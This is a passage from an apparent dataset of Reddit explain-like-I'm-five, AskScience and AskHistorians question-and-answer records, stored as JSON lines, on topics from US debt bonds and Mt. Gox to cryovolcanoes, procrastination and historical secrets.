adding 1/3 cup of white sugar and placing the SCOBY on the top of the mixture (don't add it until the water is closer to room temperature.  Cover with paper towel so no bugs can get it, and pour off into jars for fridge storage after 1-2 weeks of fermentation.", "People also fail to see that as Debt rising our GDP rises so you should really be looking at debt as a percentage to GDP.", "One of greatest inventions in world was state bonds. If you would to finance lets say a project or administration or public companies such as hospitals, schools etc you would need money and upfront money, than after you collect taxes and profits you can pay back to ones you took money from. That is why such system is good.\n\nOn other hand what USA does is super complicated, in heavy fog and with many personal intrest involved. \n\nOne would argue that dollar have lost its buying power many times over few decades. One would argue that americans are bullies and you would need to invest in your safety. One would argue that derivates collapsed your economy many times over.\n\nBut not me.", "OK, so I haven't seen a good explanation yet. Guess I'll give it a try.\n\nWhat they mean is that they don't understand how a modern economy works. This is a tiny piece of the strategies involved.\n\nOthers have mentioned bonds, and that is correct, but they never explain the bonds themselves. A bond in this case is really just a statement of \"On July 4, 2036, the United States of America will pay you $100\" that really is all it is. Everything beyond that is to make sure it is authentic.\n\nEvery day a massive number of these are printed, and a smaller number of them are cashed in because they say today's date. The new ones are auctioned off. So while you likely wouldn't want a bond issued by /u/holomntn, one issued by the US government will be paid (your guarantee is in the Constitution). The why people buy these is complex, so I will leave it out.\n\nNow these pieces of paper are each worth money, tomorrow each will be worth a slightly different amount of money. This is where the bond market comes in, you, me, anyone, including China can buy these pieces of paper. \n\nChina has bought a lot of them.\n\nThis is where people get confused. Generally what happens is that when a bond \"matures\" (today is the day you get the money) generally you simply trade it in for a new bond with a later date on it. Later, if you want the money you sell the bond on the open market. This is the easiest, quickest, most lucrative way with highly traded bonds like treasuries (aka Treasury bonds, T-Bills, etc., all refer to this type of bond).\n\nPeople also get confused in thinking our debt has to be paid off according to someone else's rules (China asking for its money back). Absolutely false, the bond includes with it the rules it follows, for treasuries the rules are set by law. So China can't just ask for their money back. If China wants to cash out of their US treasuries, then they sell them on the open market. Interestingly the US can (and I believe has) bought our own treasuries on the open market, bringing down our debt."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=NbuUW9i-mHs"], [], [], [], [], ["https://www.reddit.com/r/explainlikeimfive/comments/l7nx0/eli5_the_implication_of_cancelling_all_world_debt/c2qftxo"], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "35tppb", "title": "Other correspondence like Trajan's letters to Pliny?", "selftext": "I stumbled across Trajan's letters to Pliny the other day and found them to be incredibly interesting. Not because they concerned huge events in history, but mainly for the opposite reason. It was fascinating to read Trajan's thoughts on some of the day-to-day minutiae of running the empire.\n\nAre there any other examples of similar letters or writings from leaders throughout history? I'm sure there are, but I don't really know where to look. I'm more interested in things that weren't meant for wide distribution so they don't get caught up in boasting or exaggerating about whatever subject they are discussing. Like I said, the small details of being in charge seem to catch my interest the most.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/35tppb/other_correspondence_like_trajans_letters_to_pliny/", "answers": {"a_id": ["cr7prqm", "cr7q24f"], "score": [6, 3], "text": ["Some of my favourites are the Letters of Fronto, which have been published in two volumes by Loeb. Fronto was the tutor of Marcus Aurelius, and there are letters between the two about their health, studying, giving speeches, day-to-day life, and the cares of running an empire. Fronto also writes to Marcus' co-emperor Lucius Verus, the emperor Antoninus Pius, various members of the imperial family and others.\n\nHere is one from Marcus to Fronto (Loeb v.1 p. 179-181) in which he describes his day:\n\n >  Hail, most reverend master. We are well. By a satisfactory arrangement of meals I worked from three o'clock till eight... Then putting on my boots and donning my cloak...I went off to pay my respects to my lord [Antoninus Pius]. \n\n >  We set out for the chase and did doughty deeds. We did hear that boars had been bagged, for we were not lucky enough to see any. However, we climbed quite a steep hill; then in the afternoon we came home. I took to my books: so taking off my boots and doffing my dress I passed nearly two hours on my couch, reading Cato's speech On the Property of Pulchra, and another in which he impeached a tribune. 'Ho,' you cry to your boy, 'go as fast as you can and fetch me those speeches from the libraries of Apollo!' It is no use your sending, for those volumes, among others, have followed me here... I wrote a little wretched stuff, fit to be dedicated to the deities of water and fire: truly today I have been unlucky in my writing...\n\n >  I think I must have taken a chill, whether from walking about in slippers in the early morning, or from writing badly, I know not... So I will pour the oil on my head and go off to sleep, for not a drop of it do I intend to pour into my lamp today, so tired I am with riding and sneezing. Farewell for my sake, dearest and sweetest of masters, whom I would make bold to say I long to see more than Rome itself.\n\nThe joke about 'burning the midnight oil' is a recurring one between Marcus and Fronto. Marcus was Caesar by this point and was simply fanatical about work. Fronto was constantly teasing him to sleep and rest more, and Marcus was constantly talking about working through the night by lamp light. You can follow these relationships through the letters, and it is quite fascinating.", "We have hundreds of letters from Marcus Tullius Cicero (106-43 BC) to his friend, the equestrian Titus Pomponius Atticus, to his brother Quintus, and to many many others, including Caesar, Marcus Junius Brutus, Pompey, Caelius Rufus, his wife Terentia and his slave Tiro. Although some of these were meant to be \"published\", or at least shown off to other Romans, the vast majority were meant to be private. That makes them very cool historical sources, but also means they can be hard to understand, since they're full of inside jokes and mention things without context.\n\nThey're fascinating and cover a variety of topics: Cicero's election chances for the consulship, his struggle with the tribune Clodius and Clodius' trial for sacrilege, letters of introduction and patronage, the nitty gritty of governing the province of Cilicia (including letters from Caelius Rufus demanding Cicero get him panthers, and letters from the famous Brutus asking Cicero to help him extort money from a town), collecting art and books, writing literature, trials, political alliances, economic matters, and so much more. A huge number of them come from the civil war period, and especially the year or so after Caesar's death. Oxford Classics has a great and affordable selection of them if you want to check them out!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "41d035", "title": "What is molten ice? And how can it be expelled from cryovolcanoes on icy dwarf planets if everything is frozen?", "selftext": "I've been reading about Pluto and Ceres and there's mention of finding 'cryovolcanoes' which expel 'molten ice' .\n\nWhat are cryovolcanoes? How do they erupt? What is molten ice?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/41d035/what_is_molten_ice_and_how_can_it_be_expelled/", "answers": {"a_id": ["cz1llea"], "score": [12], "text": ["I'm pretty sure 'molten ice' isn't a technical term. \n\nCryovolcanos are exactly what they sound like - *ice volcanos.* They only occur on moons or dwarf planets where it is really cold. On these planets, chemicals that would normally be gasses on earth can be found in solid form - ices made of ammonia, methane, nitrogen, and water can be found in abundance on these planets. Instead of the body having a rocky crust where volcanoes can erupt molten rock (which is stupid hot), these bodies have an icy crust, where volcanoes can erupt 'molten ice.' \n\nBasically, pressure builds up when the ice melts or sublimates, and can cause eruptions.\n\nI don't think the mechanism for the melting is fully understood, and different mechanisms have been proposed for different moons/dwarf planets where cryovolcanoes have been observed. The most obvious first guess is that these bodies have warm cores, and as the core cools that heat creates the gasses which are later expelled, perhaps similar to how you might imagine hydrothermal vents. Another mechanism is tidal heating. Some moons are imagined to have oceans underneath all their ice, kept warm by the constant pulling and stretching by their planet's gravity. This mechanism, or chemical reactions in the oceans, could produce the ejecta that we see. \n\nLet me try and dig up a few sources on these."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5ksek7", "title": "george bush  &  reagan made more executive orders than obama. why are obama's eo's bad and bush/reagan's okay?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ksek7/eli5_george_bush_reagan_made_more_executive/", "answers": {"a_id": ["dbq8xoq", "dbq8yin", "dbq9div", "dbqdrmo", "dbqf405"], "score": [15, 15, 198, 2, 2], "text": ["Like anything else, an opposing viewpoint can generate a very biased perspective of events. See \"confirmation bias\" as one such example loosely related to the scenario.\n\n\nE.g., \"/u/buffer_overflown makes bad posts\", and then uses one of my short responses as an example (such as a response with nothing more than 'Q' as the text) as an example, while ignoring more constructive ones (such as, hopefully, this post). In these scenarios, only those samples which reflect the hypothesis are used as evidence, and evidence to the contrary is either denied or dismissed as an outlier. [See \"No true Scotsman\"]\n\n\n/r/the_donald is going to be populated by people sharing very similar opinions; in such examples, groupthink and extremism can become more prevalent. This phenomena is *not* restricted to that board and realistically occurs whenever enough like-minded people congregate, where a vocal, extreme minority begins to have an overwhelming influence on the already slanted majority.\n\n\nIt takes more energy to dissent, than to leave. Further, it takes even more energy to dissent and sway than it does to dissent.\n\n\nNone of this is intended to speak to either the board's population or Obama; only to suggest that you're perceiving a bias and don't necessarily have the tools to identify it.\n\n\n", "There is a combination of \n\n1) recency (people are always saying that the most recent incarnation is the \"worst\", \"best\", \"most divisive,\" etc in history).\n\n2) bias: things are often more memorable when they go against you than when they go for you. Your president using an executive order is an adroit use of politics to avoid a hopelessly stalled congress. When the other team uses executive orders it is a dangerous authoritorian overreach ignoring constitutional safeguards. If i remember correctly the left wasn't very happy about bush executive orders either.", "TL;DR: Obama's EOs are more controversial in their effect than the previous presidents'.\n\nMost executive orders are pretty bland things- just telling the part of the government under the president how to go about their business within the law they are meant to enforce.  What singles out Obama's EOs is that he's pushed the envelope of the president's EO authority further than the other presidents, and on topics that are politically charged.\n\nFor instance, Obama made several EOs that related to politically charged topics such as LGBT rights, which may or may not be legal because they could be effectively creating new law (which is Congress's priviledge, and not a power of the PotUS) instead of enforcing existing law (which is one of the powers of the PotUS)\n\nThe normal way this should work would be for the PotUS to propose a law that should originate from one of the houses of congress, and go through the normal process a bill follows, before coming to his desk to sign or veto.", "I am not suprised. I was banned from r/democrats  &  r/hillaryclinton for questioning their beliefs. People get really pissed when you dont agree with them", "Why? Because when our guy does it, it's okay, but if your guy does it, it's always bad. Pretty much how partisan politics work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "ollzk", "title": "Bachelor Chow?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ollzk/bachelor_chow/", "answers": {"a_id": ["c3i8fhg", "c3i8gil"], "score": [2, 3], "text": ["Military MRE's are the closest I've seen to human dog food (not trying to offend someone who actually likes them). Bare minimum of essential vitamins and minerals, but plenty of carbohydrates and a metric shit load of sodium. The MRE's available to civilians are a little better adjusted to a more sedentary life.\n\nAs far as making a human version of kibbles 'n' bits, I don't see why it would be impossible, a mammal digestive tract is pretty similar all around (with a few obvious exceptions) and changing certain ingredients around would be a chore, but certainly possible. More likely that the market for something like that is pretty bleak", "Something like [Nutraloaf](_URL_0_)?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Nutraloaf"]]}
{"q_id": "1ywe2f", "title": "the mt. gox situation", "selftext": "I am a casual observer of bitcoin and how it operates, however, I cannot understand what role Mt. Gox interacts with the bitcoin community and how it has effected bitcoin in recent news.  Any simplification would be greatly appreciated!\n\nedit: Also, what are the long term ramifications of the current Mt. Gox situation?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ywe2f/eli5the_mt_gox_situation/", "answers": {"a_id": ["cfock20", "cfodhey", "cfohdgs", "cfokk5o", "cfoy21p"], "score": [128, 6, 9, 3, 2], "text": ["Mt. Gox was a bitcoin exchange. Fundamentally what they were doing was holding other people's money and facilitating transactions exchanging one currency (US dollars, for example) for another (Bitcoins). \n\nIn their role as an exchange, Mt. Gox also was sitting on considerably large amounts of Bitcoins that technically were owned by other people. De facto, Mt. Gox had become a bank. Mt. Gox was not equipped to act as a bank. Their software was implemented very badly and was vulnerable to attacks that interfered with their customers ability to withdraw bitcoins. \n\nAt this time it is unclear what happened to the bitcoins Mt. Gox was sitting on. They have not been returned to their rightful owners. We have not received any statement on the status of those coins. Some think they were stolen by malicious actors. Some think Mt. Gox itself is a malicious actor and stole the coins. Some think Mt. Gox retains possession of those coins and might eventually be able to return them. \n\nLong term this is deeply damaging to public trust in bitcoin exchanges. Incidents like this really highlight the need to have much more careful scrutiny over software implementations and also highlights the risk of having totally unregulated currency. When a bank fails in the U.S. the FDIC (federal deposit insurance commission) will cover losses to depositors up to $250,000 per deposit. There is no such protection for bitcoins deposited at an uninsured, unregulated company such as Mt. Gox. \n\n", "Update: There is a recent announcement on the MtGox website, but it is somewhat confusing.\n\n`In the event of recent news reports and the potential repercussions on MtGox's operations and the market, a decision was taken to close all transactions for the time being in order to protect the site and our users. We will be closely monitoring the situation and will react accordingly.`\n\n", "How would I go about buying a couple of bitcoins and not have them held by a middleman?", "The Mt Gox situation is very similar to the Bernie Madoff situation. People moved their secure funds to an unsecure holder, and lost their money through theft. This does not mean the end of Bitcoin, this does not mean Bitcoin is pointless without regulation, this does not mean Bitcoin itself is dangerous. \n\nKeep in mind that while we have the FDIC to insure our bank account money, our current MONETARY system is designed to syphon money to those in power, whether your a conspiracy theorist or not there are some simple facts that should scare you. The big banks tampered with LIBOR rates and the Pentagon cant seem to account for 8.5 trillion dollars (half the US debt).\n\nSo when we start talking about what system is more trustworthy......lets all actually think about that.\n\nP.S. Not to mention, a cryptocurrency that isnt being used is worthless. So large scale hits to the reputation of bitcoin do the thieves of all this stolen bitcoin no good. If Bitcoin falls apart as a community, they own 700,000 units of jack shit.", "If we assume that a bad actor has stolen the roughly 750,000 missing bitcoins, what does this mean for the long term value of bitcoin? \n\nSecurity issues aside, are the unaccounted bitcoins going to generate fear of market instability given that a bad actor(s) controls a disproportionate market share?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "r7nd5", "title": "the fad of vocaloid and hatsune miku.  why is it so popular?", "selftext": "I see Hatsune Miku rising to some insane amount of fame.  So far that \"she\" has her own concert with a few other vocaloids.  What I want to know is why she's popular in Japan, and now in the US?   I mean, it doesn't seem to me that it would be hard to have something change your voice when you sing, and have a CGI model sing it back for you. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/r7nd5/eli5_the_fad_of_vocaloid_and_hatsune_miku_why_is/", "answers": {"a_id": ["c43kq37", "c43lqyi"], "score": [12, 7], "text": ["Hatsune Miku and the various other vocaloids are actually voice synthesizers - i.e. they sing for you. Think microsoft sam, but for singing instead.\n\nVocaloid videos took off all over niconico (japanese equivalent of youtube) - many original songs were written using miku as vocals in particular. The key reason is that it allows artists to make music with vocals, but without a real vocalist - good vocalists are pretty hard to come by after all. While vocaloids still sound too robotic for my taste, everyone has a 'baseline' to work from so to speak. \n\nArtists such as [supercell](_URL_0_) or [kz (livetune)](_URL_1_), are two particular ones known for using vocaloids. \n\nThese artists have since graduated to bigger things, such as being hired for anime OPs and EDs (with real vocalists) .\n\nA lot of people have also made variations and art of her design too. \nOn pixiv alone (Japanese deviantart, with less sonic recolors), there are 232287 pieces of work with the hatsune miku tag.\n\nShe has seen sponsorship on race cars, and plenty of figurines and merchandise. As you can see, it is a pretty big phenoemon in Japan.", "I don't think it's any mystery why vocaloids have become popular.  It's a program you can give words and music and get back a completely synthesized vocal track.  That's just amazing technology.  It really can't pass for a human but most pop music uses so much synth already that it sorta works.  If you're a young producer, it's a lot easier to use a piece of software than to hire a singer, so it's been responsible for propelling careers as well.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=WGLMBwqO9jQ", "http://www.youtube.com/watch?v=6S0aS_X6UCw"], []]}
{"q_id": "1nvpbl", "title": "why are things like homework and writing papers so hard to start (psychologically).", "selftext": "Whenever I have to do some sort of homework that takes longer than half an hour I have to spend at least an hour trying to convince myself I should do it. The entire time the very idea of starting to work is repellent even though I am aware that it is in my best interest to do so. Could anybody explain to me why this is in terms of psychology? (As I write this I am putting off starting a paper.) ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1nvpbl/eli5_why_are_things_like_homework_and_writing/", "answers": {"a_id": ["ccmj9cd", "ccmjilu", "ccmjk2l", "ccmk3e8", "ccmk92c", "ccmkorx", "ccml2a6", "ccmncyu", "ccmo409", "ccms19q"], "score": [3, 19, 6, 2, 2, 3, 5, 4, 3, 2], "text": ["Cheers, I'm doing the same thing as well. Cmon, we can pull through. Let's knock out our papers friend! We both know it sucks, but that feeling of not having to worry about the task you are putting off is so nice. I hate feeling guilty for not doing my work and wasting time. ", "Because even though youre telling yourself you should do it, you dont want to. Your brain cares more about what you want than what you feel like youre meant to be doing.\n\nListen, you cant change the fact that if you dont want to do something, thats not changing. If youd rather be recreating, guess what? That means youd rather be recreating. This is something you dont want to do because youd rather be doing something else. This is also how procrastination happens. \n\nAnd its not in your best interests - If you dont do it, that wont lead to starvation, dehydration, physical harm, or some other detriment. Itll just lead to you having a good time and your damn homework being ditched. Thats how your mind sees it.\n\nNow, you want to do it because you want to get high grades or whatever. That isnt in your best interests, its just something you want. The work involved is unsavory. So, think of it another way. You want high grades or whatever, so suffer through it or quit and get payed ridiculously high wages doing manual labor or something. :)", "reward system wants now reward, not the end of long work reward.", "In part, it's because the subject is one you're not fully versed in.  You're still learning it (you're worried you're going to submit a steaming pile of crap and they'll *know* you're a fraud).  Someday, if you have the chance to write about something you are knowledgeable about, the words are going to pour out faster than you can type them.  I took a technical writing course in college; we got to pick our topics on several assignments, and, *damn,* it was FUN.  Even though I still needed to do some research to fill in some gaps, I was raring to go.  Later still, I had a job where I needed to write and revise documentation for maintenance procedures on a piece of equipment with which I was familiar, and the same thing happened.  When you know a subject well enough to know your opinion is an informed one, you have trouble shutting up.", "You might have ADD. I have ADD and a few of the primary symptoms include difficulty in transitioning between tasks, procrastination, and poor impulse control. For me, it's especially difficult to turn away from the computer and Internet because finding a new, interesting link stimulates our reward centers (as supported by scientific research) when doing homework is not as stimulating. This is why I suck at studying but am the master of overnight 14-hour study sessions.", "In two words, metonymic nausea: the existential dread you feel when you have to think in a way not of your own choosing. Someone else has given you an assignment to write something, you know what they want you to parrot, but most professors or employers say they want it 'in your own words', and this means you have their thoughts and your own thoughts battling for synthesis.\n\nWe call people 'ranch hands' because we're using figurative speech to identify the whole person with a part of them or their function: such as when the king wants something done they say 'the crown demands'. When you're thinking about your own thoughts you have this metonymic existential realization (consciously or unconsciously) that the parts don't care about the whole (existential nausea) and the entire burden of what matters relies on what you choose. \"You\" in this case is the self observing agency that depends on your conception of the ideal self: it's always \"what would the ideal me do?\" and if there is any dissonance against this, you either won't do it or you'll excuse it somehow by giving other thoughts temporary power against the ideal self thoughts (what Susan Blackmore coined the selfplex) and it's like dressing up in a fireman's uniform for no reason. You have to be conscious of this action: that you're writing things and 'saying' things that you don't care about or associate with yourself (that you're dressing up in a costume temporarily, such as for a party) and that it's unsettling but practical for the moment. If you don't realize this, you'll be stuck and have writer's block and procrastinate until you naturally don't care any more about the discrepancy between what you say and what you mean.", "How about you go outline your paper instead of procrastinating on reddit?\n\nSeriously.  We jerk off before embarking on large tasks because we can't get our minds around them.  Break them down into manageable bites and they are a lot less intimidating.\n\nJust start writing down random shit that you MIGHT want to include in your paper.  Don't worry about whether it's any good.  You'll deal with it in the second draft.", "In my experience, this happens because you're seeing this paper as a giant monolithic slab of bullshit and you're not sure where to begin.\n\nJust divide the paper up into sub-tasks that each take less than an hour, get the first sub-task done, and then the stress of starting the project is behind you. Finishing a project is a much more motivating goal than starting one.\n\nIf the paper isn't due tomorrow then you don't have to finish it tonight. Get an outline done and call it a night, then write the first section tomorrow.", "Long term goals do not have immediate gratification so it requires foresight.  Additionally,  doing homework / etc requires effortfull thinking which is mentally taxing and difficult.  Evolutionarily it makes more sense to do what is immediate and what is easy. ", "The mind loves cognitive ease. Thinking requires energy from the body -- your heart rate increases, pupils dilate, etc.\n\nPsychologist Daniel Kahneman covers this in depth in his book *Thinking, Fast and Slow*\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], ["http://www.amazon.com/Thinking-Fast-Slow-Daniel-Kahneman/dp/0374533555"]]}
{"q_id": "8cr7mt", "title": "why isn't blood pressure a determining factor in defining whether if someone is dead or not?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8cr7mt/eli5_why_isnt_blood_pressure_a_determining_factor/", "answers": {"a_id": ["dxh4ox3", "dxh6jfk", "dxh6r8b", "dxh7f04", "dxhcg0m"], "score": [39, 3, 14, 6, 3], "text": ["It is. Having a heartbeat causes predictable fluctuations in blood pressure. When you check for a pulse, you're checking for fluctuations in blood pressure big enough that you can feel it with your fingers.\n\nPerhaps you meant to ask about some nuance of blood pressure? ", "As other have said generally presence or absence of a heartbeat is what matters. \n\nBut just to add a little bit, you can use various pulses to estimate systolic bp. Radial or DP/PT (hands and feet) means at least 100. Femoral (groin) at least 80. Carotid (neck) at least 60. \n\nNo carotid = no pulse = assume no heart activity in non-hospital situations. ", "The way blood pressure is measured based on the heartbeat: measure how much pressure is needed to cut off the heartbeat/blood flow to some location.\n\nSo a blood pressure of zero would suggest somebody is dead, but we wouldn't be able to *measure* the blood pressure under those conditions except to observe that the heart isn't beating. Therefore the most obvious measurement is whether the heartbeat exists. ", "The machine and cuff we routinely use to measure blood pressure won\u2019t read if there\u2019s no pulse. It will just come up as an error. \nIf there is an arterial line in place (a small tube in an artery that measures pressure directly) then no blood pressure is a pretty good indication of death. This would be common in ICUs. ", "\"Death\" is a nonrecoverable situation in which the body's normal processes have stopped, and as a result unrepairable damage has occurred that will prevent them ever resuming. \n\nBlood pressure can be an indicator of this one way or the other, but is not in and of itself definitive. Your heart can stop for a bit without resulting in irrevocable damage.\n\nLikewise, blood pressure can be normal in circumstances where 'the person' is lost for good. \n\nDeath itself is... kind of a fuzzy concept. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "10d02s", "title": "What has been the most important secret ever kept (for some duration)?", "selftext": "My vote would be for the cracking of the Enigma code in WWII and the decisions made to keep it secret (ie. allowing German movements to go ahead uninterrupted so as to not draw suspicion).\n\nThe Manhattan project looms large/r.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/10d02s/what_has_been_the_most_important_secret_ever_kept/", "answers": {"a_id": ["c6cg2a0", "c6cg81s", "c6cgb83", "c6cguqr", "c6cgzml", "c6ch2x9", "c6chpkd", "c6chwc5", "c6cield", "c6cienu", "c6cikd1", "c6citpl", "c6ciuok", "c6cjbck", "c6cjgex", "c6cjr3h", "c6cjucf", "c6ck17e", "c6ckqfz", "c6cl7p6", "c6clar6", "c6cm12h", "c6cn1tj", "c6cnu7d"], "score": [254, 362, 154, 24, 76, 195, 112, 116, 24, 33, 23, 55, 5, 66, 7, 23, 43, 12, 40, 7, 8, 26, 10, 3], "text": ["Another WWII example:\n\nThe precise D-day landing location(s) - blow-up tanks and planes were used along the south coast to confuse spy planes (_URL_0_) and false 'intel' was intentionally washed up on French shores in the hope it would reach Nazi high command (which it did). \n\nWhen you think the number of soldiers/technicians/members of the public that must have been involved in an operation this large, it is staggering the true location was not revealed. It was also key to D-Day's success, as the Germans had far greater armour/defensive emplacements at other sites they considered more likely places for invasion.", "During the presidential race between JFK and Nixon, JFK repeatedly blasted the Republicans for being weak on the arms race, suggesting that the US was losing and that there was a missile gap.\n\nAs Nixon had been VP under Eisenhower, he was privy to highly top secret information from the U-2 Recon Missions which made it quite clear that the Russians weren't even close to the US in terms of nuclear missiles, however, this information could not be revealed to the public because of the illegality of the U-2 mission.\n\nWithout the incorrect fearmongering, JFK may not have ever won the election.\n\nedit: Here's a graph of the *actual* amount of nuclear weapons possessed by bother superpowers over time:\n\n_URL_0_", "Accurate material on how to build a hydrogen bomb - specifically the [Teller-Ulam design](_URL_1_) - is [born secret](_URL_0_), that means, even if you come up with it yourself, you're still compelled to secrecy.\n\nIt also means, that if you're a physicist and come up with an improved design that's not yet in the literature, men in black will come to visit you.", "This was a pretty good one: _URL_0_\n\nExcellent documentary on the subject earlier here tonight, in the UK.", "I'm not an expert, only a high school student, but after Lenin's death, his Last Testament was read by his wife, and the contents, in which he expressed his dislike for Stalin and his wishes for the future of the party, were deemed dangerous to the stability of Soviet Russia by his wife and his closest advisers, and if this was known by the Russian public instead of hidden, it is unlikely that Stalin would have taken power due to a large amount of his support coming from his image as the student of Lenin and a continuation of Leninism.", "Military technology, from the Neolithic through the present, has often hinged on secrecy. I'd say that in terms of the number of lives at stake, [1940s atomic weapon technology](_URL_1_) is up there on the \"important secret\" list.\n\n\nBut I hold a unique respect for Hannibal Barca's efforts during the Second Punic War. Two of his most important victories relied heavily on secrecy. [The battle of Lake Trasimene](_URL_0_) essentially hinged on a 100,000 man army hiding behind trees and rocks on a foggy day and keeping really, really quiet until the Romans were right in the danger zone. The shock factor was so successful that Barca's army lost only 2,500 men in contrast to the 15,000 killed Romans. Keep in mind that at the time, the Roman military was the most powerful and feared physical force in the world.\n\n\nBut this logistical scenario was only possible because of Barca's first great secret; [leading an army of about 100,000 men](_URL_2_) from Carthage (northern tip of Africa) up through Spain and then traversing the Pyrenees and the Alps. The Roman military was well prepared for Barca to attack by sea, and heavily fortified what is now costal Italy as well as the the waters of the Mediterranean. But they had no reason to fear attack from the north, and left it basically unmanned. By keeping his attack route secret, Barca took unique advantage of Rome's vast norther border and decimated the Roman armies he encountered. While Barca was unable to ruin the Roman Empire due to its sheer size and seemingly endless bodies, supplies, and weapons, he brought the biggest empire that had ever existed to it's bloodied knees for years. What a guy!", "Unless someone knows the recipe for \"Greek Fire\" it's still a secret.", "This isn't my specific area of study, but in terms of trade value you could say silk, or specifically [sericulture](_URL_0_), was a highly valuable secret in China for a few thousand years before knowledge leaked out, first to Japan and then to the west.  \n\nEvidence of looms and silkworm management appear in the archaeological record by 4000 or 3000 BCE.  Silk became a form of tribute within the empire, and trade of silk reached the Nile by 1000 BCE.  The desire for the fabric could threaten economic stability of trade partners, as seen in the 1st century CE when the Roman Senate, alarmed by the amount of gold leaving the empire, attempted to ban the wearing of silk.  To maintain control over the silk trade anyone attempting to smuggle silkworms out of China could be condemned to death.  The monopoly lasted until 300 CE when sericulture spread east to Japan, and slowly west to the Byzantines by 500 CE.", "I wouldn't consider it an important secret, but... the location of Genghis Khan's tomb is still a mystery, nearly 800 years later.", "I hate to ask, but can a historian comment on this story made famous in *The Da Vinci Code*?\n\nAs I recall (and fill in from [Wikipedia](_URL_0_)), King Philip IV \"the Fair\" of France (named for his appearance, not his leadership) was in great debt to the Knights Templar, who were already under minor suspicion by his pawn Pope Clement V. So he sent out a sealed letter to his men around the kingdom, with very strong orders not to open it until Friday, October 13, 1307. When they did, they all simultaneously received and promptly carried out orders to arrest every Templar around, in cooperation with the Vatican's investigation. Because it all happened on the same day, the Templars had no chance to react. Their leadership were tortured into presumably false confessions and executed, and the Order was dissolved. I assume this freed Philip, or his successor, from his debt.\n\nAccording to [Snopes](_URL_1_), this is *not* the origin of the Friday the 13th superstition.", "How about [Colossus](_URL_0_), the computer used to help crack Enigma. Didn't officially exist for many years.", "[The Donation of Constantine](_URL_1_) was a secret pact between [Pepin the Short](_URL_2_) and [Pope Steven II](_URL_0_) that paved the way for Charlemagne and the Holy Roman Empire.  It was a forgery, supposedly by the Roman Emperor Constantine I, giving control over Rome to the Pope.  It was proven a fake around 1440 by Lorenzo Valla.  ", "Isn't there a popular science/history book about how chinaware was kept secret by China for hundreds of years. Anyone know the name of that book?", "The Vatican's Holocaust records for sure. They are *still* classified. ", "One of the rumours I have heard related to the British defence during the Battle of Britain...  It concerns Hugh Dowding being aware of what the Luftwaffe's targets for the day were through signals intelligence.\n\nIf anyone else is aware of the rumour and if there is any truth to it, please let me know. \n\nThanks.", "I have to point out the lines of Torres Vedras built to defend Lisbon during the Napoleonic wars in Spain and Portugal. The first line was 46km long, the second was 39km long and the third was 27km long. They were huge fortifications with 126 forts. Ravelins, detached batteries, dammed rivers turning large areas in front of the lines into swamps and mined walls were used to good effect. The British and there Portuguese allies retreated to the lines after the battle of Bucaco. The french followed and were taken completely by surprise at the sheer enormity of the fortifications. They took a year to build with over 34,000 workers and the French knew nothing until they arrived.", "considering the Manhattan project spend 2 billion dollars (about 1% of the entire cost of ww2) and employed more than 100,000 people, it was an astonishingly well kept secret.   Fun fact though, Stalin knew about it before Truman did.", "How about the fact that the Allies had come into possession of the [Enigma machine,](_URL_0_) deciphered its codes, and used that to read secret German messages?  This is believed by some to have hastened the end of WWII by two years. ", "There have been several American Presidents who have hidden illnesses over the years, whether mental or physical. [Abraham Lincoln](_URL_1_) and [John F. Kennedy](_URL_0_) are the most well known, but I love what a bad ass Grover Cleveland was. He had [surgery for cancer](_URL_2_) which removed part of his jaw. The surgery took place on a boat (which rocked around) and in complete secrecy. The public didn't find out about it until after he died. He did all of this in secret, and with much more discomfort than necessary, just because he didn't want to look physically weak during a national depression. What a bro!", "I would say the underwater cables the Brits severed during WW l to make sure only one side of the story was ever told in America. That, and that the Lusitania was planned to be sunk by German U-Boats to enrage the American public. \n\nToo lazy to give a link, but if you want to know google it. I hear it on the military channel show \"Declassified\" ", "The production of silk. It was kept as a secret for centuries. Only after a chinese princess ,who was married to another prince from an outside kingdom, brought some silk worms in secret the world learned about secrets of silk production.", "The fact that the ancient Egyptians and Mayans really did interact with Aliens and that artifacts are being kept in........\n\n*sound of silenced gunshot*\n\nOkay, time for the serious historical stuff.\n\nI would define \"important\" as what was critical to a civilization at a particular time.\n\n\nFor the Sassanians of Persia, Bahram V was in conflict with the Huns. He sent an official to offer tribute to the Huns, whilst he went on a \"hunting trip\"\n\nInstead he assembled a force of cavalry and advanced against the Huns across northern Persia into Central Asia. He suprised the Huns in their camp and completely slaughtered them.\n\nThis took place in 420 - 421 AD, and an emperor leading a force of several thousand men over hundred of miles is an impressive achievement, especially since he managed to keep it all secret and prevented his Empire from being totally ravaged or even conquered. Nomads were noted for their ability to scout out any potential threats with their array of light cavalry, so the fact that he kept concealed his movements and overall strategy should make his accomplishment that more important.\n\n_URL_0_\n\n", "The identity of Deep Throat was held for over 30 years.  Bob Woodward and Carl Bernstein at the Washington Post wrote about the 